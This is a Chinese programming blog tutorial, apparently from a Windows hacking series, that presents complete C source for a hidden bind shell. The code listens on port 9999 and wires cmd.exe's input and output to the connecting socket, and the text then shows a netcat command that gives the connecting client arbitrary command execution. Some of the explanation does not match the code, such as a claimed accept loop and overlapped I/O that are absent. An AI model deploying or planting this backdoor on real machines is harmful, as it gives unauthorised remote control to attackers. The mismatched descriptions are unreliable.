17.2 实现无管道正向CMD
WSASocket 无管道正向CMD,使用WSASocket函数创建一个TCP套接字,并绑定到一个本地地址和端口上。然后使用CreateProcess函数创建一个新的CMD进程,并将标准输入、输出和错误输出重定向到套接字的句柄上。这样,客户端可以通过网络连接到这个套接字,发送CMD命令并获取命令输出结果。这种方式称为无管道正向CMD,因为CMD进程的输入输出是通过套接字而非管道进行的。
WSASocket 函数用于创建重叠IO套接字,重叠 I/O(Overlapped I/O)是一种异步 I/O(Asynchronous I/O)机制,它可以在执行 I/O操作时同时进行其他的操作或处理,提高了系统的并发性和效率。
在传统的同步 I/O 操作中,当一个线程请求进行 I/O 操作时,必须等待操作完成后才能进行其他任务的处理。然而,在网络应用场景下,因为 I/O 操作的延迟较高,线程等待 I/O 完成的时间往往比较长,从而影响系统的资源利用率和性能。
与之相反,重叠 I/O 操作则不需要等待I/O 操作的完成,线程可以在 I/O 操作进行的同时执行其他任务,当 I/O 操作完成后,系统会通过事件通知机制通知线程进行相应的处理。这种机制可以提高系统的并发性和响应速度,使系统更加高效和灵活。
重叠 I/O 通常使用异步 I/O 完成端口(IOCP)机制实现。IOCP 是一种基于事件驱动的 I/O 模型,它提供了一种高效的异步 I/O 操作方式,不仅可以提高系统的并发性和响应速度,还可以减少系统资源的占用,从而达到提高系统性能的效果。
SOCKET WSASocket(
int af,
int type,
int protocol,
LPWSAPROTOCOL_INFOA lpProtocolInfo,
GROUP g,
DWORD dwFlags
);
在调用 WSASocket() 函数创建 socket 套接字时,可以通过设置 dwFlags 参数的 WSA_FLAG_OVERLAPPED 标记来启用重叠 I/O 操作模式。启用重叠 I/O 操作模式后,应用程序就可以使用异步 I/O 操作进行数据的读取、发送、接收等操作,同时进行其他的计算和处理操作。
要使用重叠 I/O 操作机制,应用程序需要更改套接字的 I/O 模式。在传统的 I/O 操作模式中,应用程序通过同步的方式向套接字发送或接收数据,然后等待操作完成。而在重叠 I/O 操作模式中,应用程序使用非阻塞的方式进行数据读取和发送操作,不会阻塞线程和进程的执行,同时可以用事件通知机制来处理 I/O 操作的完成。
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"Ws2_32")
int main(int argc, char *argv[])
{
WSADATA ws;
SOCKET listenFD;
// 初始化WSA库
WSAStartup(MAKEWORD(2, 2), &ws);
// 启用WSASocket异步IO
listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
// 监听本机9999端口
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(9999);
server.sin_addr.s_addr = ADDR_ANY;
// 绑定套接字
bind(listenFD, (sockaddr *)&server, sizeof(server));
listen(listenFD, 2);
// 等待客户端连接
int iAddrSize = sizeof(server);
SOCKET clientFD = accept(listenFD, (sockaddr *)&server, &iAddrSize);
STARTUPINFO si;
ZeroMemory(&si, sizeof(si));
// 设置隐藏命令行,并绑定输入输出错误流到套接字上
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.wShowWindow = SW_SHOWNORMAL;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
// 创建CMD进程
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);
return 0;
}
如上所示代码使用 WSASocket() 函数创建了一个 TCP 套接字,并使用 bind() 和 listen() 函数将套接字绑定到本地 IP 和端口,然后不断地接受客户端的连接请求并为每个客户端请求启动一个新的 CMD 进程。在 CMD 进程启动后,将其标准输入、输出和错误输出重定向到已连接的套接字上,这将使得客户端可以通过网络接收到 CMD 的输出结果。同时,在 CMD 进程退出后,服务器会等待一段时间然后关闭套接字并释放资源。
读者可自行编译上述代码片段,并运行起来此时程序会启用9999端口等待客户端的连接,客户端可使用netcat程序通过nc -t 127.0.0.1 9999的方式连接到目标进程内,此时读者可实现任意的命令执行;

本文作者: 王瑞
本文链接: https://www.lyshark.com/post/8848df01.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
17.2 实现无管道正向CMD的更多相关文章
- 匿名管道读取CMD回显信息
之前用了很坑爹的做法去读取了cmd命令的回显信息,现在发现了用匿名管道的实现方法,由于楼主没有学过Windows核心编程,找了一个代码来凑数 存下来以后研究 #include <windows. ...
- 匿名管道 远程cmd
管道是单向的,传送数据的方向是固定的,所以互相通信需要两个管道. STARTUPINFO si; ZeroMemory(&si,sizeof(si)); si.dwFlags = STARTF ...
- 通过匿名管道获取CMD运行结果
#include <iostream> #include <string> #include <Windows.h> using namespace std; /* ...
- (17) go 协程管道
一.协程 二.管道
- 42.管道,cmd执行指令写到管道中
#define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <stdlib.h> #include <stri ...
- CMD命令行管道命令
一.什么是管道命令 管道命令能够将一个命令的执行结果经过筛选,只保留我们需要的信息. 如 dir 命令会显示目录下所有文件夹和文件,可以使用管道命令| findstr "" 将di ...
- CMD管道命令使用
Windows netstat 查看端口.进程占用 开始--运行--cmd 进入命令提示符 输入netstat -ano 即可看到所有连接的PID 之后在任务管理器中找到这个PID所对应的程序如果任务 ...
- DELPHI黑客编程(一):正向后门原理实现
前言 在渗透测试中经常用到远控.后门等辅助后渗透权限维持工具,有一款好用的自制后门可以在巩固渗透成果方面有很大的帮助.今天给大家简单讲解下后门的原理和实现的方法,主要针对技术研究和原理演示,请各位看官 ...
- 解决Window安全中心对Kitematic-0.17.3-Ubuntu.zip提示病毒,但无法删除的问题。
Trojan:JS/Tisifi.B 类型:特洛伊木马 containerfile: C:\Users\Administrator\Desktop\Kitematic-0.17.3-Ubuntu.zi ...
- 分析轮子(二)- << ,>>,>> (左移、右移、无符号右移)
前言:写 分析轮子(一)-ArrayList.java 的时候看到源码中有 int newCapacity = oldCapacity + (oldCapacity >> 1); 这样的代 ...
随机推荐
- Pb从入坑到放弃(三)数据窗口
写在前面 数据窗口是Pb的一个特色控件,有了数据窗口对于pb来说可谓如虎添翼. 对数据库中的数据操作,几乎都可以在数据窗口中完成. 使用数据窗口可以简单检索数据.以图形化的方式显示数据.绘制功能强大的 ...
- 20.1K Star!Notion的开源替代方案:AFFiNE
Notion这款笔记软件相信很多开发者都比较熟悉了,很多读者,包括我自己都用它来记录和管理自己的笔记.今天给大家推荐一个最近比较火的开源替代方案:AFFiNE.目前该开源项目已经斩获20.1K Sta ...
- 2023-7-26 Dynamic替代部分反射的简单实现方式
Dynamic与反射的使用 [作者]长生 实体类 public class School{ public int GetAge(){ return 100; } } 使用反射获取对象里的方法 Scho ...
- python3使用ESL和sipp自动多轮压测FreeSWITCH
环境:CentOS 7.6_x64 FreeSWITCH版本 :1.10.9 sipp版本:3.6.1 python版本:3.9.12 日常工作中,有时会遇到批量自动压测FreeSWITC ...
- [golang]使用mTLS双向加密认证http通信
前言 假设一个场景,服务端部署在内网,客户端需要通过暴露在公网的nginx与服务端进行通信.为了避免在公网进行 http 明文通信造成的信息泄露,nginx与客户端之间的通信应当使用 https 协议 ...
- ros源的移除
在Ubuntu上卸载了ros系统后,每次运行源更新命令 sudo apt update 都会报错,提示ros源找不到等问题. 这时,只需要 cd /etc/apt/souce.list.d sudo ...
- 解密Prompt系列13. LLM Agent-指令微调方案: Toolformer & Gorilla
上一章我们介绍了基于Prompt范式的工具调用方案,这一章介绍基于模型微调,支持任意多工具组合调用,复杂调用的方案.多工具调用核心需要解决3个问题,在哪个位置进行工具调用(where), 从众多工具中 ...
- centos7.X安装nginx – 东凭渭水流
1.安装nginx需要使用root用户 2.配置nginx源 rpm -ivh http://nginx.org/packages/centos/7/noarch/RPMS/nginx-release ...
- GAN!生成对抗网络GAN全维度介绍与实战
本文为生成对抗网络GAN的研究者和实践者提供全面.深入和实用的指导.通过本文的理论解释和实际操作指南,读者能够掌握GAN的核心概念,理解其工作原理,学会设计和训练自己的GAN模型,并能够对结果进行有效 ...
- mall :sa-token项目源码解析
目录 一.mall开源项目 1.1 来源 1.2 项目转移 1.3 项目克隆 二.Sa-Toekn框架 2.1 Sa-Token 简介 2.2 分布式后端项目的使用流程 2.3 分布式后端项目的使用场 ...